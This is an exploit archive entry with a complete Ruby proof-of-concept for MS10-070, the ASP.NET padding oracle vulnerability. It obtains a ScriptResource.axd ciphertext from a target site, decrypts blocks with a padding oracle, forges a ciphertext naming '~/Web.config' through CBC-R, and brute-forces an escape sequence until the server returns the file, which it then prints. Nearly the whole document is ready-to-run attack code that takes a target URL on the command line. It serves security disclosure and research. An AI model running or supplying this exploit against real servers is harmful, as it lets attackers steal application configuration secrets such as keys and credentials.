MS10-070 ASP.NET Padding Oracle File Download

2010-10-17T00:00:00
ID PACKETSTORM:94908
Type packetstorm
Reporter Agustin Azubel
Modified 2010-10-17T00:00:00

Description

                                        
                                            `#!/usr/bin/ruby -w  
  
#  
# aspx_po_chotext_attack.rb  
#  
# Copyright (c) 2010 AmpliaSECURITY. All rights reserved  
#   
# http://www.ampliasecurity.com  
# Agustin Azubel - aazubel@ampliasecurity.com  
#  
#  
# MS10-070 ASPX proof of concept  
# Decrypt data using Vaudenay's cbc-padding-oracle-side-channel  
# Encrypt data using Rizzo-Duong CBC-R technique  
#  
# Copyright (c) 2010 Amplia Security. All rights reserved.  
#  
# Unless you have express writen permission from the Copyright  
# Holder, any use of or distribution of this software or portions of it,  
# including, but not limited to, reimplementations, modifications and derived  
# work of it, in either source code or any other form, as well as any other  
# software using or referencing it in any way, may NOT be sold for commercial  
# gain, must be covered by this very same license, and must retain this  
# copyright notice and this license.  
# Neither the name of the Copyright Holder nor the names of its contributors  
# may be used to endorse or promote products derived from this software  
# without specific prior written permission.  
#  
#  
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"  
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE  
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE  
# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE  
# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR  
# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF  
# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS  
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN  
# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)  
# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE  
# POSSIBILITY OF SUCH DAMAGE.  
#  
  
  
$debugging = false  
  
  
require 'net/http'  
require 'uri'  
require 'rexml/document'  
  
  
#<require 'xarray'>  
module XArray  
def hex_inspect  
"[#{length}][ #{map { |x| x.hex_inspect }.join ", " } ]"  
end  
end  
  
class Array  
include XArray  
end  
#</require 'xarray'>  
  
  
#<require 'xbase64'>  
require 'base64'  
  
class XBase64  
def self.encode s  
s = Base64.encode64 s  
s = s.gsub '+', '-'  
s = s.gsub '/', '_'  
s = s.gsub "\n", ''  
s = s.gsub "\r", ''  
  
s = XBase64.encode_base64_padding s  
end  
  
def self.encode_base64_padding s  
padding_length = 0  
padding_length += 1 while s[-1 - padding_length, 1] == "="  
s[0..(-1 - padding_length)] + padding_length.to_s  
end  
  
  
def self.decode s  
s = s.gsub '-', '+'  
s = s.gsub '_', '/'  
  
s = self.decode_base64_padding s  
  
Base64.decode64 s  
end  
  
def self.decode_base64_padding s  
padding_length = s[-1,1].to_i  
s[0...-1] + ("=" * padding_length)  
end  
end  
#</require 'xbase64'>  
  
  
#<require 'xstring'>  
module XString  
def xor other  
raise RuntimeError, "length mismatch" if self.length != other.length  
(0...length).map { |i| self[i] ^ other[i] }.map { |x| x.chr }.join  
end  
alias ^ :xor  
  
def hex_inspect  
printables = [ "\a", "\b", "\e", "\f", "\n", "\r", "\t", "\v" ] + \  
(0x20..0x7e).entries  
  
"[#{length}]" + "\"#{unpack("C*").map { |x|  
printables.include?(x) ? x.chr : "\\x%02x" % x }.join}\""  
end  
  
def to_blocks blocksize  
(0...length/blocksize).map { |i| self[blocksize * i, blocksize]}  
end  
end  
  
class String  
include XString  
end  
#</require 'xstring'>  
  
  
#<require 'padding_verification_strategy'>  
class PaddingVerificationStrategy  
def initialize parameters  
@parameters = parameters  
end  
  
def valid_padding?  
raise RuntimeError, "abstract method !"  
end  
end  
  
class ErrorCodeStrategy < PaddingVerificationStrategy  
def valid_padding? response  
invalid_padding_error_code = @parameters[:invalid_padding_error_code]  
not (invalid_padding_error_code == response.code)  
end  
end  
  
class BodyLengthStrategy < PaddingVerificationStrategy  
def valid_padding? response  
invalid_padding_body_length = @parameters[:invalid_padding_body_length]  
absolute_error = @parameters[:absolute_error]  
  
not ( (invalid_padding_body_length - response.body.length).abs < absolute_error)  
end  
end  
  
class BodyContentStrategy < PaddingVerificationStrategy  
def valid_padding?  
end  
end  
  
class TimingStrategy < PaddingVerificationStrategy  
def valid_padding?  
end  
end  
#</require 'padding_verification_strategy'>  
  
  
#<require 'padding_oracle_decryptor'>  
class PaddingOracleDecryptor  
attr_accessor :blocksize  
attr_accessor :d_value  
attr_accessor :http  
attr_accessor :strategy  
  
def initialize  
@tries = 0  
@a = []  
@decrypted = []  
@blocksize = nil  
@d_value = nil  
@http = nil  
@strategy = nil  
end  
  
  
def discover_blocksize_and_oracle_behaviour  
puts "discovering blocksize and oracle behaviour..."  
  
[ 16, 8 ].each do |b|  
ciphertext = @d_value.clone  
ciphertext[-(b * 3)] ^= 0x01  
  
response = http.send_request ciphertext  
  
valid_padding_code = response.code  
valid_padding_body_length = response.body.length  
  
0.upto b - 1 do |i|  
ciphertext = @d_value.clone  
ciphertext[-(b * 2) + i] ^= 0x01  
  
response = http.send_request ciphertext  
  
# puts "code: #{response.code}, length: #{response.body.length}"  
  
# if valid_padding_code != response.code  
# puts "padding verification strategy based on error code"  
# @strategy = ErrorCodeStrategy.new :valid_padding_code => valid_padding_code,  
# :invalid_padding_code => response.code  
# @blocksize = b  
# break  
# end  
  
if valid_padding_body_length != response.body.length  
absolute_error = 200  
if (valid_padding_body_length - response.body.length).abs > absolute_error  
puts "padding verification strategy based on body length"  
@strategy = BodyLengthStrategy.new :valid_padding_body_length => valid_padding_body_length,  
:invalid_padding_body_length => response.body.length,  
:absolute_error => absolute_error  
@blocksize = b  
break  
end  
end  
end  
break if blocksize  
end  
  
raise RuntimeError, "could not select a valid padding verification strategy!" unless blocksize  
  
puts "discovered blocksize: #{blocksize}"  
# blocksize and padding_length leads to automatic tail decryption !  
  
blocksize  
end  
  
def valid_padding? response  
strategy.valid_padding? response  
end  
  
def ask_oracle r  
@tries += 1  
r = r[1..-1].pack "C" * blocksize  
  
ciphertext = d_value + r + @y  
  
response = http.send_request ciphertext  
  
return 1 if valid_padding? response  
  
return 0  
end  
  
def decrypt_last_word  
print "last word... "  
$stdout.flush  
  
b = blocksize  
  
# 1. pick a few random words r[1],...,r[b] and take i = 0  
saved_r = [0]  
saved_r += (1..b).map { |i| rand 0xff }  
i = 1   
loop do  
r = saved_r.clone  
  
# 2. pick r = r[1],...,r[b-1],(r[b] xor i)  
r[b] = r[b] ^ i  
  
# 3. if O(r|y) = 0 then increment i and go back to the previous step  
break if ask_oracle(r) == 1  
i += 1  
raise "failed!" if i > 0xff  
end  
  
# 4. replace r[b] by r[b xor i]  
saved_r[b] = saved_r[b] ^ i  
  
# 5. for n = b down to 2 do  
# (a) take r = r[1],...,r[b-n],(r[b-n+1] xor 1),r[b-n+2],...,r[b]  
# (b) if O(r|y) = 0 then stop and output (r[b-n+1] xor n),...,r[b xor n]  
b.downto 2 do |n|  
r = saved_r.clone  
r[b-n+1] = r[b-n+1] ^ 1  
if ask_oracle(r) == 0  
# puts "lucky #{n}!"  
n.downto(1) do |t|  
word = r[b-t+1] ^ n  
@a[b-t+1] = word  
puts "a[#{b-t+1}]: #{word}"  
end  
return  
end  
end  
r = saved_r.clone  
  
# 6. output r[b] xor 1  
last_word = r[b] ^ 1  
@a[blocksize] = last_word  
# puts "\x07a[#{blocksize}]: 0x%02x" % @a[blocksize]  
end  
  
def decrypt_ax x  
print "a[#{x}]... "  
$stdout.flush  
  
b = blocksize  
j = x+1  
saved_r = [ 0 ]  
  
# 2. pick r[1],...,r[j-1] at random and take i = 0  
saved_r += (1..x).map { |i| rand 0xff }  
i = 0  
  
# 1. take r[k] = a[k] xor ( b - j + 2) for k = j,...,b  
2.upto b do |k|  
saved_r[k] = @a[k] ^ (b - j + 2) if x < k  
end  
  
loop do  
r = saved_r.clone  
  
# 3. take r = r[1]...r[j-2](r[j-1] xor i)r[j]..r[b]  
r[x] = r[x] ^ i  
  
  
# 4. if O(r|y) = 0 then increment i and go back to the previous step  
break if (ask_oracle r) == 1  
i += 1  
raise "failed!" if i > 255  
end  
  
r = saved_r.clone  
  
# 5. output r[j-1] xor i xor (b - j + 2)  
@a[x] = (r[x] ^ i) ^ (b - j + 2)  
# puts "\x07a[#{x}]: 0x%02x" % @a[x]  
end  
  
  
def decrypt_block iv, y  
@tries = 0  
@iv = iv  
@y = y  
  
print "decrypting "  
$stdout.flush  
  
decrypt_last_word  
(blocksize - 1).downto 1 do |j|  
decrypt_ax j  
end  
  
puts  
puts "tries: #{@tries}, average: #{(blocksize * 256) / 2}"  
@a.shift  
  
plaintext_block = (0...blocksize).map { |i| @a[i] ^ @iv[i] }.pack "C*"  
  
plaintext_block  
end  
  
def decrypt ciphertext  
plaintext_blocks = Array.new  
cipher_blocks = ciphertext.to_blocks blocksize  
  
iv = "\x00" * blocksize  
cipher_blocks.unshift iv  
  
1.upto cipher_blocks.length - 2 do |i|  
plaintext_block = decrypt_block cipher_blocks[-i - 1], cipher_blocks[-i]  
plaintext_blocks.unshift plaintext_block  
end  
  
plaintext_blocks.join  
end  
end  
#</require 'padding_oracle_decryptor'>  
  
  
class ASPXPaddingOracleChosenCiphertextAttack  
attr_reader :uri  
attr_reader :filename  
attr_reader :filelength  
attr_reader :filere  
attr_reader :http  
attr_reader :d_value  
attr_reader :blocksize  
attr_reader :axdpath  
attr_reader :axdname  
attr_reader :decryptor  
attr_reader :base_mask  
  
def initialize parameters  
@uri = URI.parse parameters[:uri]  
@filename = parameters[:filename]  
@filelength = parameters[:filelength]  
@filere = parameters[:filere]  
@http = http_initialize  
@d_value = nil  
@base_mask = rand 0xffff  
@blocksize = nil  
@axdpath = nil  
@axdname = nil  
@decryptor = PaddingOracleDecryptor.new  
  
puts "using target: #{@uri}"  
puts "using base_mask: 0x%04x" % @base_mask  
end  
  
def http_initialize  
http = Net::HTTP.new @uri.host, @uri.port  
http  
end  
  
  
def parse_script_tag xml, re  
d = nil  
  
doc = REXML::Document.new xml  
doc.elements.each 'script' do |e|  
src_attribute = e.attributes['src']  
md = re.match src_attribute  
d = md[1]  
break  
end  
  
raise RuntimeError, "could not parse script_tag" unless d  
  
d  
end  
private :parse_script_tag  
  
def get_ciphertext_sample  
puts "starting connection..."  
  
http.start  
  
[ [ "ScriptResource.axd", /\/ScriptResource\.axd\?d=([a-zA-Z0-9\-\_]+)\&t=[a-z0-9]+/ ]  
].each do |name, re|  
  
headers = { 'User-Agent' => \  
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)' }  
  
response = http.get uri.path, headers  
body = response.body  
  
script_tags = body.lines.select { |x| x.index name }  
  
next if script_tags.empty?  
  
# puts "script tags using #{name} [#{script_tags.length}]:"  
# puts script_tags.map { |x| "\t#{x}" }  
  
d = parse_script_tag script_tags[0], re  
  
puts "using script: #{name}"  
puts "using d_value: #{d}"  
  
@axdpath = uri.path[0, uri.path.rindex('/')]  
@axdname = name  
@d_value = ("\x00" * 16) + (XBase64.decode d)  
break  
end  
  
raise RuntimeError, "could not find any axd sample" unless d_value  
  
decryptor.http = self  
decryptor.d_value = d_value  
  
d_value  
end  
  
def parse_html_body h, body  
parsed = String.new  
  
doc = REXML::Document.new body  
doc.elements.each h do |e|  
parsed = e.text  
break  
end  
  
parsed  
end  
  
def send_request d  
request = Net::HTTP::Get.new "/#{axdpath}/#{axdname}?d=#{XBase64.encode d}"  
request['Connection'] = 'Keep-Alive'  
@http.request request  
end  
  
def decrypt ciphertext  
decryptor.decrypt ciphertext  
end  
  
  
def discover_blocksize_and_oracle_behaviour  
@blocksize = decryptor.discover_blocksize_and_oracle_behaviour  
end  
  
def reallocate_cipher_blocks cipher_blocks, new_plaintext_blocks  
puts "cipher_blocks.count: #{cipher_blocks.count}"  
  
required_block_count = 1 + new_plaintext_blocks.length + 1  
puts "required_block_count: #{required_block_count}"  
  
if required_block_count < cipher_blocks.count then  
delta = cipher_blocks.count - required_block_count  
puts "removing #{delta} extra blocks..."  
cipher_blocks = [ cipher_blocks[0] ] + cipher_blocks[-required_block_count+1..-1]  
elsif required_block_count > cipher_blocks.count then  
delta = required_block_count - cipher_blocks.count  
puts "adding #{delta} extra_blocks..."  
cipher_blocks = [ cipher_blocks[0], ("\x00" * blocksize) * delta ] + cipher_blocks[1..-1]  
end  
  
puts "cipher_blocks.count: #{cipher_blocks.count}"  
  
cipher_blocks  
end  
private :reallocate_cipher_blocks  
  
def generate_new_plaintext_blocks  
tail_padding = "\x01"  
head_padding_length = blocksize - ( (@filename.length + tail_padding.length) % blocksize)  
head_padding_length = 0 if head_padding_length == blocksize  
head_padding = "\x00" * head_padding_length  
new_plaintext = head_padding + @filename + tail_padding  
  
new_plaintext.to_blocks blocksize  
end  
private :generate_new_plaintext_blocks  
  
def encrypt  
puts "encrypting \"#{@filename.hex_inspect}..."  
  
new_plaintext_blocks = generate_new_plaintext_blocks  
  
cipher_blocks = @d_value.to_blocks blocksize  
cipher_blocks = reallocate_cipher_blocks cipher_blocks, new_plaintext_blocks  
  
puts "decrypting #{new_plaintext_blocks.length} blocks..."  
(1..new_plaintext_blocks.length).each do |i|  
puts "block #{i} of #{new_plaintext_blocks.length}"  
  
old_plaintext_block = decryptor.decrypt_block cipher_blocks[-i - 1], cipher_blocks[-i]  
puts "old_plaintext_block: #{old_plaintext_block.hex_inspect}"  
  
cipher_blocks[-1 - i] ^= old_plaintext_block ^ new_plaintext_blocks[-i]  
end  
  
puts "eye candy: decrypting crafted ciphertext"  
new_plaintext = decrypt cipher_blocks.join  
puts "new_plaintext: #{new_plaintext.hex_inspect}"  
  
  
@d_value = cipher_blocks.join  
end  
  
  
def discover_escape_sequence  
puts "discovering escape sequence..."  
  
escape_sequence_mask = nil  
  
offset = base_mask % (blocksize - 4)  
  
ciphertext = d_value.clone  
0x1ffff.times do |mask|  
ciphertext[offset, 4] = [ base_mask + mask ].pack "L"  
  
response = send_request ciphertext  
print "\rtrying escape_mask: 0x%05x/0x1ffff, http_code: %4d, body_length: %5d" % \  
[ mask, response.code, response.body.length ]  
  
next unless response.code == "200"  
  
next if filelength and (response.body.length < filelength)  
  
next if filere and (not filere =~ response.body)  
  
escape_sequence_mask = base_mask + mask  
  
puts  
puts "found!"  
puts "press any key to show the contents of the file"  
$stdin.gets  
puts response.body  
break  
end  
  
raise RuntimeError, "no more combinations to try !" unless escape_sequence_mask  
  
escape_sequence_mask  
end  
  
def pause  
puts  
puts "press any key to start the attack"  
$stdin.gets  
end  
  
def run  
get_ciphertext_sample  
pause  
discover_blocksize_and_oracle_behaviour  
encrypt  
discover_escape_sequence  
end  
end  
  
  
  
puts [ "-------------------------------------------",  
"aspx_po_chotext_attack.rb",  
"(c) 2010 AmpliaSECURITY",  
"http://www.ampliasecurity.com",  
"Agustin Azubel - aazubel@ampliasecurity.com",  
"-------------------------------------------",  
"\n" ].join "\n"  
  
  
if ARGV.length != 1 then  
$stderr.puts "usage: ruby #{$PROGRAM_NAME} http://192.168.1.1/Default.aspx"  
exit  
end  
  
begin  
parameters = {  
:uri => ARGV.first,  
:filename => "|||~/Web.config",  
:filere => /configuration/  
}  
  
x = ASPXPaddingOracleChosenCiphertextAttack.new parameters  
x.run  
rescue Exception => e  
$stderr.puts "Exploit failed: #{e}"  
  
raise if $debugging  
end  
  
`